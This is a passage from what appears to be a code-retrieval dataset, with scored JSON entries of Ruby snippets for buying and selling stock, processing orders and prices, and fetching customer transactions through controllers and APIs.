q.quantity)*(product.tax_amount/100) # Taxes paid\n\t\t\t}\n\t\t\titem = TrxOrderItem.find_or_initialize_by(trx_order_id: order.id, shipping_address_id: sa.id, org_product_id: product.id) #Create the item\n\t\t\titem.update(order_item)\n\t\tend\n\tend", "title": "" }, { "docid": "a7d3b055f19ac9b0e0e8790afe9f4fbe", "score": "0.62283784", "text": "def sell(account, ticker, shares, days_ago)\n shares = [shares, account.portfolio[ticker]].min\n gross_profit = @exchange.quote(ticker, days_ago) * shares\n post_sale_cash_balance = account.cash + gross_profit\n if(post_sale_cash_balance >= @sell_commission && account.portfolio[ticker] > 0 && shares > 0)\n account.cash = post_sale_cash_balance - @sell_commission\n account.portfolio[ticker] -= shares\n account.commission_paid += @sell_commission\n shares\n else\n 0 # return that 0 shares were sold\n end\n end", "title": "" }, { "docid": "f33b96d24ad607a14aabacae5fe6498a", "score": "0.6227407", "text": "def test_user_buy_too_expensive\n buyer = Trader.named(\"Buyer\", :credits => 100)\n seller = Trader.named(\"Seller\", :credits => 100)\n\n item = seller.propose_item(\"big piece of crap\", 9001, :fixed, nil, nil) #item price is over 9000!\n item.activate\n buyer.acknowledge_item_properties!\n assert(item.active?)\n\n assert_raise(Exceptions::TradeError) { buyer.purchase(item) }\n\n assert_equal(100, buyer.credits, \"Buyer has wrong amount of credits\")\n assert_equal(100, seller.credits, \"Seller has wrong amount of credits\")\n\n assert(seller.items.include?(item), \"Seller does not own the item it wants to sell\")\n assert(!buyer.items.include?(item), \"Buyer bought the item when it should not have been able to do so\")\n assert_equal(seller, item.owner, \"Item has the wrong owner\")\n end", "title": "" }, { "docid": "b7a8f0b9ab05091667e875afcbe86779", "score": "0.6227099", "text": "def void_last_transaction\n @total -= @price\n end", "title": "" }, { "docid": "269e6eda3d9f14b05feb5a690cab0581", "score": "0.62245256", "text": "def change_price_0526\n event = ScheduledEvent.find_by(name: 'change_price_0526')\n return true unless event\n\n original_pm_special_prices = {}\n original_work_prices = {}\n original_std_work_prices = {}\n\n by_model = {\n 'shortsleeve_white_l' => 89.0,\n 'shortsleeve_white_m' => 89.0,\n 'shortsleeve_white_s' => 89.0,\n 'shortsleeve_black_l' => 99.0,\n 'shortsleeve_black_m' => 99.0,\n 'shortsleeve_black_s' => 99.0,\n 'shortsleeve_black_xx' => 99.0\n }\n\n products = ProductModel.joins(:category).to_a\n\n ActiveRecord::Base.transaction do\n by_model.each do |k, cny|\n products.select { |p| p.key == k }.each do |product|\n price_tier_id = PriceTier.where(\"prices->>'CNY' = ?\", cny.to_s).first.id\n\n original_pm_special_prices[product.id] = product.customized_special_price_tier_id\n product.works.is_public.each { |w| original_work_prices[w.id] = w.price_tier_id }\n product.standardized_works.is_public.each { |s| original_std_work_prices[s.id] = s.price_tier_id }\n\n product.update(customized_special_price_tier_id: price_tier_id)\n product.works.is_public.update_all(price_tier_id: price_tier_id)\n product.standardized_works.is_public.update_all(price_tier_id: price_tier_id)\n end\n end\n\n event.extra_info = {\n original_pm_special_prices: original_pm_special_prices,\n original_work_prices: original_work_prices,\n original_std_work_prices: original_std_work_prices\n }\n event.save\n end\n end", "title": "" }, { "docid": "80d65072d80f770fee911f143fd25d8b", "score": "0.6214634", "text": "def buy(item)\n if @money >= item.price && add_to_inventory(item)\n @money -= item.price\n puts \"Succesfully purchased #{item}!\"\n else\n error \"Unable to buy #{item.name}. You do not have enough money!\"\n end\n end", "title": "" }, { "docid": "ac159cb38e8d2bdcacbb3c2673e51181", "score": "0.6214331", "text": "def strategy2(date)\n stocks.each do |stock_name|\n stock = stock_market.get(stock_name)\n stock_price_today = stock.price_at(date)\n next unless stock_price_today\n\n if price_change = stock.price_change_for_day(current_day: date)\n if date.to_s == stock.last_business_day_of_month(date)\n sell_all(date.to_s)\n elsif price_change <= -1.0 || stock_price_today >= (stock.average_price_until(date-1) * 2)\n buy(stock_name, date)\n end\n end\n\n stock_assets(stock_name).each do |buy_date, data|\n if data[:amount] > 0 && (date-5 >= Date.parse(buy_date))\n sell(stock_name, buy_date, date)\n end\n end\n end\n\n return true\n end", "title": "" }, { "docid": "063682d23027cc0a3ff5c44446d8fc07", "score": "0.62103623", "text": "def check_for_new_stock_and_price\n self.created_by = receipt_note.created_by\n self.updated_by = receipt_note.updated_by\n\n create_stock_if_necessary(product, store)\n create_purchase_price_if_necessary(product, receipt_note.supplier)\n true\n end", "title": "" }, { "docid": "440fa9b6f61a1d879d3da87861a245d9", "score": "0.6200363", "text": "def ioc_buy(account:, venue:, stock:, price:, qty:)\n generic_order(account, venue, stock, price, qty, 'buy', 'immediate-or-cancel')\nend", "title": "" }, { "docid": "cf9a9cb09961be13259de8975b1f1a93", "score": "0.61977625", "text": "def buy(ticker, shares, days_ago)\n @broker.buy(self, ticker, shares, days_ago)\n end", "title": "" }, { "docid": "b4aa03d2731ae516088f0d906d38f3b0", "score": "0.6189728", "text": "def stock_picker(prices)\n\tlargestDiff = 0\n\tbuyDay = 0\n\tsellDay = 0\n\n\tprices.each_with_index do |firstPrice, i|\n\t\tprices.each_with_index do |secondPrice, x|\n next if (i >= x)\n\t\t\tdiff = (secondPrice - firstPrice)\n\t\t\tif (diff > largestDiff)\n\t\t\t\tlargestDiff = diff\n\t\t\t\tbuyDay = i\n\t\t\t\tsellDay = x\n\t\t\tend\n\t\tend\n\tend\n\n\tbuyAt = prices[buyDay]\n\tsellAt = prices[sellDay]\n\n\tif largestDiff > 0\n\t\tp [buyDay,sellDay]\n\t\tputs \"Buy on Day #{buyDay} at $#{buyAt} and sell on Day #{sellDay} at $#{sellAt} for a $#{largestDiff} profit!\"\n\t\tputs \"\\n\"\n\telse\n\t\tputs \"Do not buy stock! There is no profit to be made.\"\n\t\tputs \"\\n\"\n\tend\nend", "title": "" }, { "docid": "d9b37e37c0bc9ecf2b703b68db99ac12", "score": "0.6186341", "text": "def apply_face_value_change(conversion_ration, record_date)\n if self.holding_qty.nil? || self.quantity == self.holding_qty\n self.price = self.price * conversion_ration\n self.quantity = self.quantity * conversion_ration\n save!\n else\n EquityBuy.transaction do\n original_quantity = self.quantity\n new_transaction = EquityBuy.new.initialize_dup(self)\n new_transaction.price = self.price * conversion_ration\n new_transaction.quantity = self.holding_qty / conversion_ration\n new_transaction.brokerage = self.brokerage / original_quantity * self.holding_qty\n new_transaction.save!\n\n self.quantity -= self.holding_qty\n self.brokerage = self.brokerage / original_quantity * self.quantity\n self.save!\n\n EquityTrade.update_all \"equity_buy_id = #{new_transaction.id} from equity_transactions as sell where equity_buy_id = #{self.id} and equity_sell_id = sell.id and sell.date > '#{record_date}'\"\n end\n end\n end", "title": "" }, { "docid": "2e8460e5aecf577b42e83a53fcbab739", "score": "0.617992", "text": "def buy_stock (stock, amount)\n\t\tnew_amount = @portfolio[stock].to_f + amount.to_f\n\t\t@portfolio[stock] = new_amount\n\tend", "title": "" }, { "docid": "3b4dfaa1ab46ddb3f2bda18f31d23a20", "score": "0.6167885", "text": "def buy_product\n @products.print_all\n index = input('Satın alınacak ürünü seçiniz:').to_i - 1\n quantity = input('Kaç tane almak istiyorsunuz?:').to_i\n @products.sell(index, quantity)\n end", "title": "" }, { "docid": "be5533d022fea97312b174e85aafd11f", "score": "0.6166095", "text": "def stock_picker(prices)\n max_profit = 0\n buy_day = 0\n sell_day = 0\n\n prices.each_with_index do |buy, bday|\n prices[(bday+1..-1)].each_with_index do |sell, sday|\n cash_flow = sell - buy\n if cash_flow > max_profit\n max_profit = cash_flow\n buy_day = bday\n #sday starts from 0 so add (bday+1)\n sell_day = sday + (buy_day + 1)\n end\n end\n end\n\n puts \"[#{buy_day} #{sell_day}]\"\nend", "title": "" }, { "docid": "9dd7dd099a6164f47e0ed727728daacd", "score": "0.61626107", "text": "def release_amount!\n quickbooks_find_or_create_vendor\n quickbooks_create_transaction\n\n hold_account = Account::CashOutHold.instance\n liability_account = Account::Liability.instance\n\n transaction = Transaction::InternalTransfer.create(\n audited: true,\n description: \"#{self.class.name}(#{id}) - $#{amount} moved from #{hold_account.class.name}(#{hold_account.id}) to #{liability_account.class.name}(#{liability_account.id})\"\n )\n\n transaction.splits.create(\n amount: -1 * amount,\n account: hold_account,\n item: self\n )\n\n transaction.splits.create(\n amount: amount,\n account: liability_account,\n item: self\n )\n end", "title": "" }, { "docid": "9389bd02631449423d5149d60fd4b88d", "score": "0.61623317", "text": "def create\n # 根据用户最近输入的进货价格,修改相应 vendor product 的进价\n ordered_items = params[:purchase_order][:new_purchase_order_item_attributes]\n ordered_items.each do |item|\n vendor_product_id = item[:vendor_product_id].to_i\n vendor_product = VendorProduct.find(vendor_product_id)\n unit_price = item[:unit_price].to_f\n if unit_price > 0.0 and vendor_product.price != unit_price\n vendor_product.update_attribute(:price, unit_price)\n end\n end\n\n @purchase_order = PurchaseOrder.new(params[:purchase_order])\n # 检查本单货物是否都卖给一个顾客\n saled = params[:order_status][:saled] == \"yes\" ? true : false\n customer_id = params[:sale_order][:customer_id]\n\n begin\n PurchaseOrder.transaction do\n # 先保存进货单,save! 方法在验证失败时会扔出 exeption\n @purchase_order.save!\n\n # 如果本单货物都卖给一个客户,创建并保存销售单\n if saled\n @sale_order = SaleOrder.new\n @sale_order.customer_id = customer_id\n @sale_order.saled_at = @purchase_order.arrived_at\n @sale_order.postage = 0.0\n @purchase_order.purchase_order_items.each do |purchase_order_item|\n @sale_order.sale_order_items <<\n SaleOrderItem.new(:purchase_order_item_id => purchase_order_item.id,\n :unit_price => purchase_order_item.unit_cost,\n :quantity => purchase_order_item.quantity)\n end\n @sale_order.save!\n end\n end\n rescue\n respond_to do |format|\n flash[:notice] = \"Failed to generate the purchase order: \" +\n \"#{@purchase_order.errors.full_messages.uniq.join(';')}. \" +\n \"Exception: #{$!.message}\"\n format.html { redirect_to :controller => \"store\", :action => \"purchase\" }\n format.xml { render :xml => @purchase_order.errors, :status => :unprocessable_entity }\n end\n else\n respond_to do |format|\n flash[:notice] = 'The purchase order was successfully created.'\n if saled\n format.html { redirect_to(edit_sale_order_path(@sale_order)) }\n else\n format.html { redirect_to(@purchase_order) }\n end\n format.xml { render :xml => @purchase_order, :status => :created,\n :location => @purchase_order }\n end\n end\n end", "title": "" }, { "docid": "659a532f187e9172974b652d03dc4550", "score": "0.61590546", "text": "def buy_limited_use_item\n return if amount_selection(@list_price[@index], @list_item[@index])\n\n return if $game_variables[::Yuki::Var::EnteredNumber] == 0\n\n quantity = $game_variables[::Yuki::Var::EnteredNumber]\n \n return if confirm_buy(@list_price[@index], @list_item[@index], quantity)\n\n money_checkout(quantity)\n end", "title": "" }, { "docid": "e04b566a69cf9ac15d807f959da564cf", "score": "0.61579144", "text": "def void_last_transaction\n @total -= (@transactions[:price] * @transactions[:quantity])\n @transactions[:quantity].times{@items.pop}\n @transactions = {}\nend", "title": "" }, { "docid": "7f11eab93d03a5af7397a4594f33dc66", "score": "0.6152142", "text": "def stock_picker prices\n max_profit = 0\n buy_day = 0\n sell_day = 0\n # loop through each day to buy\n i = 0\n while i < prices.length\n buy_price = prices[i]\n # then loop through the rest of days to sell\n j = i\n while j < prices.length\n sell_price = prices[j]\n profit = sell_price - buy_price\n if profit > max_profit\n max_profit = profit\n buy_day = i\n sell_day = j\n end\n j += 1\n end\n i += 1\n end\n [buy_day, sell_day]\nend", "title": "" }, { "docid": "9d1abb21c2130051f8271878415d384b", "score": "0.6151951", "text": "def checkValumePrice(volume_prices,quantity,item_quantity,item_price,targetIndex,name,order,isSameDiscount)\n \n discounted_total_price=0\n discounted_price=0\n discount =0\n \n volume_prices.each do |vol|\n \n discounted_price=0\n discount =0\n if vol.open_ended? \n \n start = (vol.range[1,vol.range.length-3]).to_i\n isInrange = quantity.between?(start,2_147_483_647)\n else\n \n isInrange = (eval vol.range).include?(quantity)\n end\n \n if isInrange\n\n discount = (vol.amount - item_price)\n \n discounted_price= discount*item_quantity\n \n if !isSameDiscount\n msg = name + Spree.t(:discount_per_item, number: discount ) \n order.adjustments.create!(amount: discounted_price, label: Spree.t(:wholesale_discount)+ msg , state: 'open',included: 0 ,order_id: @order.id)\n end\n break\n else\n discount =0\n discounted_price =0\n end\n\n end\n \n {:discountPerP => discount, :discountPerLineItem => discounted_price}\n end", "title": "" }, { "docid": "08dc977c7a5e28d49de2652a3ddf004f", "score": "0.61392725", "text": "def purchase\n\n # might not need this if \n if params[:commit] == \"Purchase\"\n\n #send the holding\n #Quary Holding table in DB find by trade id\n @trad_details = Holding.find(params[:trade_id])\n\n #send the live stock price per unit\n @price_per_unit = Holding.priceperunitcalc(@trad_details)\n\n #send the users avalible funds in AUD \n @user_funds = Holding.useravaliblefunds(current_user.id)\n end\n end", "title": "" }, { "docid": "caa3c34cf8bd75d507dc6affffbf1c67", "score": "0.6138789", "text": "def buy_stock(client_name, stock_symbol, stock_quantity, portfolio_name)\n @money_required = Stock.get_quote(stock_symbol) * stock_quantity\n if balance_sufficient? == true\n withdraw(money_required)\n @brokerage.clients[client_name].portfolios[portfolio_name].update(stock_symbol: stock_quantity) # and add to portfolio\n else puts \"ERROR: Insufficient funds\"\n end\n end", "title": "" }, { "docid": "8020fa4ad9aeb96cf17dfe378a75f164", "score": "0.6133965", "text": "def do_buy(number)\n price = buying_price.collect { |p| [p[0], p[1] * number] }\n price.each { |p| $game_variables[Shop_Currencies::CURRENCIES[p[0]][0]] -= p[1] }\n $game_party.gain_item(@item, number)\n end", "title": "" }, { "docid": "c885b65651876580a49088e634606e30", "score": "0.6128417", "text": "def sell(ticker, shares, days_ago)\n @broker.sell(self, ticker, shares, days_ago)\n end", "title": "" }, { "docid": "547d4c794aa108e9af265cce1bf1f3af", "score": "0.6123445", "text": "def create\n @transaction = Transaction.new(transaction_params)\n if(Product.find(@transaction.product_id).stock_amount < @transaction.quantity)\n @transaction.errors.add(:stock, \"Out of Stock\")\n render :new\n return\n else\n p = Product.find(@transaction.product_id)\n p.stock_amount -= @transaction.quantity\n p.sale_amount += @transaction.quantity\n p.save\n end\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ceffe23918706237e4bfb0d25b46bc6", "score": "0.6118433", "text": "def amount_needed \n\t\t@daily * 7 - @stock\n\tend", "title": "" } ]
ba5db0c922b86c5b9baf725b0bf26425
GET /customer_transactions/1 GET /customer_transactions/1.json
[ { "docid": "77b81e851ac2940f57a1d82a31fcf99b", "score": "0.72021765", "text": "def show\n @customer_transaction = CustomerTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_transaction }\n end\n end", "title": "" } ]
[ { "docid": "a167416e7c45fdb1f7039d016d7c20f7", "score": "0.75692296", "text": "def transactions(options = nil)\n request = Request.new(@client)\n path = \"/customers/\" + CGI.escape(@id) + \"/transactions\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n a = Array.new\n body = response.body\n for v in body['transactions']\n tmp = Transaction(@client)\n tmp.fill_with_data(v)\n a.push(tmp)\n end\n\n return_values.push(a)\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "52fe93c5c1f74cf8bee4a88bba9e9fb7", "score": "0.72898334", "text": "def index\n @transactions = Transaction.where(customer_id: current_customer.id)\n end", "title": "" }, { "docid": "8c881930159a0e4227bb5dead3cb4e4c", "score": "0.7279505", "text": "def transactions(params = {})\n request(:get, '/transactions', params)\n end", "title": "" }, { "docid": "a65efabf7d82abff9e6e8a5a37a23061", "score": "0.72066253", "text": "def index\n @current_merchant = Merchant.find(params[:merchant_id])\n @transactions = @current_merchant.initial_transactions\n render json: @transactions\n end", "title": "" }, { "docid": "6c8d0bb89b3254ce41f23ee95c5e6976", "score": "0.71992016", "text": "def index\n json_response(@transactable.transactions)\n end", "title": "" }, { "docid": "fbb89ea45dbfe9243b51bce1a1f8bf6b", "score": "0.7104621", "text": "def get_transactions\n transactions = Transaction.find_by_account_and_timeframe_for_user({\n account_from_id: transaction_params[:source_account_id],\n from_date: transaction_params[:from],\n to_date: transaction_params[:to],\n user_id: @user.id\n })\n\n render json: transactions, status: :ok\n end", "title": "" }, { "docid": "b76988d0bae1bda7a3555e3861f2fec6", "score": "0.71031106", "text": "def merchant_transactions\n puts params\n if @merchant.present?\n transactions = @merchant.transactions\n render json: { success: true, transactions: transactions.to_json }\n else\n render json: { errors: ['Merchant unauthorized'], status: :unauthorized }\n end\n end", "title": "" }, { "docid": "5a2922e7a061aa77f53b1ef841fc8bca", "score": "0.709278", "text": "def transactions_get_by_id id\n params = { :id => id }\n transaction = @client.query_get \"transactions/get\", params\n end", "title": "" }, { "docid": "849effd27b9ae6c7ceb63993e8a01489", "score": "0.69684905", "text": "def transactions\n now = Date.today\n thirty_days_ago = (now - 30)\n begin\n product_response =\n client.transactions.get(access_token, thirty_days_ago, now)\n pretty_print_response(product_response)\n content_type :json\n { transactions: product_response }.to_json\n rescue Plaid::PlaidAPIError => e\n error_response = format_error(e)\n pretty_print_response(error_response)\n content_type :json\n error_response.to_json\n end\n end", "title": "" }, { "docid": "f600ecdf7f14c6b5e43fb2a04ec87ac8", "score": "0.692487", "text": "def retrieve_transactions(query = nil, transaction_id = nil)\n headers.merge!(params: query) if query\n url = \"#{API_BASE}/transaction/#{transaction_id}\"\n begin\n response = RestClient.get(url, headers)\n JSON.parse(response)\n rescue RestClient::Unauthorized => error\n raise Bitpagos::Errors::Unauthorized.new(error.message)\n end\n end", "title": "" }, { "docid": "8d01bbb7898afa6f36572c5654c7ca9c", "score": "0.69246495", "text": "def show\n @txn = current_user.transactions.find(params[:id])\n render json: { txn: @txn }, include: :users\n end", "title": "" }, { "docid": "546173a6118a158d2fee5486b1d9daf6", "score": "0.68778944", "text": "def transactions\n @transactions = Transaction.where(\"user_id = ? AND mission_story_id = ?\", session[:user_id], params[:id])\n\n respond_to do |format|\n format.html\n format.json {render json: @transactions}\n end\n end", "title": "" }, { "docid": "428b584ba086e51af7d16dafab4a0493", "score": "0.68400955", "text": "def show(id)\n response = request :get, \"/transactions/#{id}.json\"\n response['transaction']\n end", "title": "" }, { "docid": "7fdcc73e63235007f39b1c9a78f724f8", "score": "0.6826906", "text": "def approver_transactions\n\ttransactions = Transaction.find_by approver_id: params[:id]\n\trender json: transactions, status: 200\n end", "title": "" }, { "docid": "e399473717d378b0ecf6f0ed0de77371", "score": "0.68219256", "text": "def get_my_transactions\n user = User.find_by(fbUserId:session[:user])\n ts = Transaction.where(user_id:user.id)\n render :json => {transactions:ts}\n end", "title": "" }, { "docid": "1fef514105cf08c53e68ad23a4a75e09", "score": "0.68127143", "text": "def transactions(options = {})\n @gateway.customer.transactions(id, options)\n end", "title": "" }, { "docid": "c63fe9da610886fd5db95e091c2848ea", "score": "0.68036115", "text": "def index\n @transactions = Transaction.all\n\n\n respond_to do |format|\n format.html\n format.json\n end\n\n end", "title": "" }, { "docid": "8f085a59bc2faa2d6695b99f47089a54", "score": "0.6767628", "text": "def index\n # puts current_user.inspect\n @txns = current_user.transactions\n # @txns = TransactionUser.where(user_id: params[:user_id])\n render json: { txn: @txns }, include: :users\n end", "title": "" }, { "docid": "49eb8ac5df3f6b557d453e6154a20b08", "score": "0.67632866", "text": "def transactions(options = nil)\n request = Request.new(@client)\n path = \"/subscriptions/\" + CGI.escape(@id) + \"/transactions\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n a = Array.new\n body = response.body\n for v in body['transactions']\n tmp = Transaction(@client)\n tmp.fill_with_data(v)\n a.push(tmp)\n end\n\n return_values.push(a)\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "a22b560f1fee1352e5fa82835225793a", "score": "0.6732757", "text": "def transactions filter = nil\n transactions = @client.query_get \"transactions\", filter\n if transactions[\"success\"]\n return transactions[\"transactions\"]\n else\n return nil\n end\n end", "title": "" }, { "docid": "45dc95537fafdf06a43cf61a7c939538", "score": "0.67148995", "text": "def index\n @transactions = @client.transactions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transactions }\n end\n end", "title": "" }, { "docid": "a8bae633fa99cc8ded05c4422325885b", "score": "0.67147666", "text": "def transactions(options = {})\n Customer.transactions(id, options)\n end", "title": "" }, { "docid": "8fc27792195640ea303943a4e1adfcc5", "score": "0.6714417", "text": "def get_transactions(options={}, timestamp=nil)\n mash = get '/transactions', timestamp, options\n mash.results\n end", "title": "" }, { "docid": "f0135f1aa4678b1ffec54d167e628513", "score": "0.67018694", "text": "def index\n @transactions = @account.transactions\n end", "title": "" }, { "docid": "6a383eb254a029dd771a687047c58971", "score": "0.6688936", "text": "def index\n @transactions = Transaction.where(user_id: current_user.id)\n render \"index.json.jb\"\n end", "title": "" }, { "docid": "2c8d20bb1c521c7711483c7ab23cad99", "score": "0.6682058", "text": "def transaction(options = nil)\n request = Request.new(@client)\n path = \"/invoices/\" + CGI.escape(@id) + \"/transactions\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"transaction\"]\n transaction = Transaction(self._client)\n return_values.push(transaction.fill_with_data(body))\n\n \n return_values[0]\n end", "title": "" }, { "docid": "76251eae84ff13725d18f036647d400c", "score": "0.6666061", "text": "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "title": "" }, { "docid": "76251eae84ff13725d18f036647d400c", "score": "0.6666061", "text": "def index\n @transactions = Transaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "title": "" }, { "docid": "ac957b985fc245137d1f244857dc2805", "score": "0.6658417", "text": "def user_transactions params = { 'offset' => 0, 'limit' => 100, 'sort' => 'desc' }\n private_request 'user_transactions', params\n end", "title": "" }, { "docid": "c81253931edb6e606c89299a68050a1b", "score": "0.6638217", "text": "def customer_balance\n request(:get, \"/api/customer/balance\")\n end", "title": "" }, { "docid": "db36700f5a2c4117d81ae3e5594b69ac", "score": "0.66095334", "text": "def show\n @transaction = @client.transactions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transaction }\n end\n end", "title": "" }, { "docid": "3ce89133fd0e043537ccbe4ca07fb5a1", "score": "0.657802", "text": "def get_transaction(account_id, transaction_id, cents = false)\n if transaction_id.nil?\n query_api_object Model::Transaction, \"/rest/accounts/#{account_id}/transactions?cents=#{cents}\"\n else\n query_api_object Model::Transaction, \"/rest/accounts/#{account_id}/transactions/#{transaction_id}?cents=#{cents}\"\n end\n end", "title": "" }, { "docid": "97efc8936dfd06a0f7d47c6869f44cd9", "score": "0.6551932", "text": "def index\n @allTransactions = @current_user.transactions + @current_user.inverse_transactions\n\n current_page = params.fetch(:page, 1).to_f\n @transactions = @allTransactions.slice((current_page - 1) * WillPaginate.per_page, (current_page * WillPaginate.per_page) - 1) || []\n has_more = @allTransactions.size >= current_page * WillPaginate.per_page\n\n to_json(@transactions, has_more)\n end", "title": "" }, { "docid": "1afcc3cdf3297fee5fe4a50e3df6f8a7", "score": "0.6550903", "text": "def get_user_transactions(**options)\n \t\t[options[:page], options[:per_page]].each do |arg|\n \t\t\tif arg && (!arg.is_a?(Integer) || arg < 1)\n \t\t\t\traise ArgumentError, \"#{arg} must be nil or an Integer >= 1\"\n \t\t\tend\n \t\tend\n\n path = transactions_path(user_id: self.user_id, options: options)\n\n begin\n trans = client.get(path)\n rescue Synapse::Error::Unauthorized\n self.authenticate()\n trans = client.get(path)\n end\n\n\n response = trans[\"trans\"].map { |trans_data| Transaction.new(trans_id: trans_data['_id'],\n payload: trans_data\n )}\n trans = Transactions.new(limit: trans[\"limit\"],\n page: trans[\"page\"],\n page_count: trans[\"page_count\"],\n trans_count: trans[\"trans_count\"],\n payload: response\n )\n\n \ttrans\n end", "title": "" }, { "docid": "bce6853b21d51915cf2953720f94ffc5", "score": "0.65257424", "text": "def customer(id)\n get \"customers/#{id}\"\n end", "title": "" }, { "docid": "36d2c1429fc054443c1fd564849cfa9c", "score": "0.65132546", "text": "def public_version_customers_customer_id_transactions_get_with_http_info(customer_id, version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BankingDataApi.public_version_customers_customer_id_transactions_get ...'\n end\n # verify the required parameter 'customer_id' is set\n if @api_client.config.client_side_validation && customer_id.nil?\n fail ArgumentError, \"Missing the required parameter 'customer_id' when calling BankingDataApi.public_version_customers_customer_id_transactions_get\"\n end\n # verify the required parameter 'version' is set\n if @api_client.config.client_side_validation && version.nil?\n fail ArgumentError, \"Missing the required parameter 'version' when calling BankingDataApi.public_version_customers_customer_id_transactions_get\"\n end\n # resource path\n local_var_path = '/public/{version}/customers/{customer_id}/transactions'.sub('{' + 'customer_id' + '}', customer_id.to_s).sub('{' + 'version' + '}', version.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'max_per_page'] = opts[:'max_per_page'] if !opts[:'max_per_page'].nil?\n query_params[:'category_id'] = opts[:'category_id'] if !opts[:'category_id'].nil?\n query_params[:'account_number'] = opts[:'account_number'] if !opts[:'account_number'].nil?\n query_params[:'account_type'] = opts[:'account_type'] if !opts[:'account_type'].nil?\n query_params[:'bank_slug'] = opts[:'bank_slug'] if !opts[:'bank_slug'].nil?\n query_params[:'booking_date_time_from'] = opts[:'booking_date_time_from'] if !opts[:'booking_date_time_from'].nil?\n query_params[:'booking_date_time_to'] = opts[:'booking_date_time_to'] if !opts[:'booking_date_time_to'].nil?\n query_params[:'currency'] = opts[:'currency'] if !opts[:'currency'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionCollection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BankingDataApi#public_version_customers_customer_id_transactions_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c7bb165a5befbf710f557efc877d4216", "score": "0.65113837", "text": "def index\n @transactions = current_user.transactions\n end", "title": "" }, { "docid": "5875c5cd15a4eeeebd644341fc1f05cd", "score": "0.64858246", "text": "def index\n @transactions = Transaction.where(company_id: current_user.client_id)\n end", "title": "" }, { "docid": "1a0952fee28bbee4b8af1bb5b3415082", "score": "0.64841735", "text": "def transactions\n user = authenticate(params[:user_id], request.headers[\"HTTP_AUTH_TOKEN\"])\n if user\n transactions = Stock.where(user_id: user.id).order(\"created_at DESC\")\n render json: { success: true, transactions: transactions }\n else\n render json: { success: false }\n end\n end", "title": "" }, { "docid": "4f90155ba933d740b467a1212aa5aa70", "score": "0.6480751", "text": "def show\n @account = current_user_accounts.find(params[:id])\n @transactions = @account.tranxactions.paginate(:page => params[:page]).order(\"transaction_date DESC, id DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "title": "" }, { "docid": "767771a14d1a633688e8160f5b062cec", "score": "0.6479188", "text": "def get_transactions (client_id = nil, start = nil, _end = nil, page = nil, max = nil, opts={})\n query_param_keys = [:client_id,:start,:_end,:page,:max]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'client_id' => client_id,\n :'start' => start,\n :'_end' => _end,\n :'page' => page,\n :'max' => max\n \n }.merge(opts)\n\n #resource path\n path = \"/get-transactions.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "e9c7651d1891953067719cb341ff5ccb", "score": "0.64685845", "text": "def index\n @customers = Customer.all\n\n render json: @customers\n end", "title": "" }, { "docid": "169f86f681ac78c5141d9b1ef167c579", "score": "0.64587957", "text": "def index\n # @transactions = Transaction.all\n\t@transactions = current_user.incoming_transactions + current_user.outgoing_transactions \n\t@time_dollars = current_user.time_dollars\n \n\trespond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end", "title": "" }, { "docid": "39e9df87d6fdf6d8b4e75a99457d6e67", "score": "0.6436124", "text": "def customer(customer_id:)\n path = '/api/customer/get'\n\n private_get(path, { customerId: customer_id })\n end", "title": "" }, { "docid": "4d9d961f4774c012a7e02f045ae6b245", "score": "0.64299136", "text": "def index\n @customer_transactions = CustomerTransaction.all\n @failed = CustomerTransaction.failed\n @disputed = CustomerTransaction.disputed\n @successful = CustomerTransaction.successful\n end", "title": "" }, { "docid": "5093d7efeec246fc77aedb0667c113f8", "score": "0.6424634", "text": "def show\n @transaction = MoneyTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transaction }\n end\n end", "title": "" }, { "docid": "a362f11258f869e2f53cc62dd462302c", "score": "0.64209926", "text": "def transactions\n Services::TransactionsService.new(@api_service)\n end", "title": "" }, { "docid": "0af44930b56757f1dc0bef773e5d4557", "score": "0.6419227", 